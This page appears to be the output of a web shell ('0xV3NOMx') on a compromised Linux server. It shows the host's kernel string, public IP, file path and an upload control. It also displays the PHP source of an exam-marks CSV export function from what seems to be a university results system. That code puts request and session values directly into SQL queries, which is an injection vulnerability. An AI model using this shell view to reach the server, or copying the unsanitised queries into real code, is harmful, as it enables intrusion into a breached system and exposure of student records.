0xV3NOMx
Linux ip-172-26-7-228 5.4.0-1103-aws #111~18.04.1-Ubuntu SMP Tue May 23 20:04:10 UTC 2023 x86_64



Your IP : 3.145.85.233


Current Path : /var/www/oasis/Report_details/
Upload File :
Current File : /var/www/oasis/Report_details/report_marks_elementwise.php

<?php

function GeneratElementWiseReport($aobj_context)
{
	session_start();
    $aobj_context->mobj_db->SetFetchMode(ADODB_FETCH_ASSOC);  
    $college_code = $_SESSION['collcode']; 
	$degree_code = $aobj_context->mobj_data["degree_code"]; 
	$exam_code = $aobj_context->mobj_data["exam_code"]; 
	$sublist_start = $aobj_context->mobj_data["subwise_start"]; 
	$sublist_end = $aobj_context->mobj_data["subwise_end"]; 
	$element_type = $aobj_context->mobj_data["elemtype"]; 

	$dbname = "resultsg_reva2";
	$fp = fopen('php://output', 'w');
	$slno=0;
	$sql = "select m.FREGNO,stu.fname,
	concat(',',',',group_concat(s.fcsubcode order by s.fcsubcode)) fsubcode,
	concat('Reg.no,','Roll.no,',group_concat(replace(s.fshortname,s.fssubtype,'') order by s.fcsubcode)) fshortname,
	concat(',',',',group_concat(s.fsmaxmarks order by s.fcsubcode)) as fcsubcode,
	group_concat(if(m.FMARKS>=0,m.FMARKS,if(m.FMARKS=-2,'A','-')) order by s.FCSUBCODE separator ',')  as fsubmarks,
	concat(',',',',group_concat(s.fsubname order by s.fcsubcode)) fsubname
	from subject s left outer join marks m on s.fdegree = m.fdegree 
	and s.fexamno = m.fexamno and s.fcsubcode = m.fsubcode 
	and s.FDEGREE='{$degree_code}' 
	and s.FEXAMNO='{$exam_code}' and s.fssubtype = '{$element_type}'
	left join student stu on m.fdegree = stu.fdegree and m.fregno = stu.fregno
	where m.FCOLLCODE='{$college_code}' 
	and s.fsubcode between '{$sublist_start}' and '{$sublist_end}' 
	and if(s.fdegree='BTEE',m.FREGNO not like 'R15CV%',1 = 1)
	and IFNULL(m.FDELETED,'F') <> 'T' and ifnull(s.fintass,'F') = 'T'
	group by m.FREGNO order by m.FREGNO";
    $header = $aobj_context->mobj_db->GetAll($sql);;
	
	foreach($header as $key=>$row) 
	{
		
		$vads = explode(',',$row[fsubname]);
		fputcsv($fp, $vads);
		break;
		//$hd[] =  $row[3]
	}
	
	foreach($header as $key=>$row) 
	{
		
		$vads = explode(',',$row[fsubcode]);
		fputcsv($fp, $vads);
		break;
		//$hd[] =  $row[3]
	}
	
	foreach($header as $key=>$row) 
	{
		
		$vads = explode(',',$row[fshortname]);
		fputcsv($fp, $vads);
		break;
		//$hd[] =  $row[3]
	}
	
    // fetch mysql table rows
    $sql = "select concat(m.FREGNO,',',stu.fname,',',
	group_concat(if(m.FMARKS>=0,m.FMARKS,if(m.FMARKS=-2,'A','-')) order by s.FCSUBCODE ))  as fsubmarks
	from subject s left outer join marks m on s.fdegree = m.fdegree 
	and s.fexamno = m.fexamno and s.fcsubcode = m.fsubcode 
	and s.FDEGREE='{$degree_code}' 
	and s.FEXAMNO='{$exam_code}' and s.fssubtype = '{$element_type}'
	left join student stu on m.fdegree = stu.fdegree and m.fregno = stu.fregno
	where m.FCOLLCODE='{$college_code}' 
	and s.fsubcode between '{$sublist_start}' and '{$sublist_end}' 
	and if(s.fdegree='BTEE',m.FREGNO not like 'R15CV%',1 = 1)
	and IFNULL(m.FDELETED,'F') <> 'T' and ifnull(s.fintass,'F') = 'T'
	group by m.FREGNO order by m.FREGNO";
    $result = $aobj_context->mobj_db->GetAll($sql);;
	

	if ($fp ) {
	header('Content-Type: text/csv');
	header('Content-Disposition: attachment; filename="export.csv"');
	header('Pragma: no-cache');
	header('Expires: 0');
	
	foreach($result as $key=>$row) 
	{	
		$vads = explode(',',$row[fsubmarks]);
		fputcsv($fp, $vads);
		//$hd[] =  $row[3]
	}
	die;
	}
    fclose($fp);
}





?>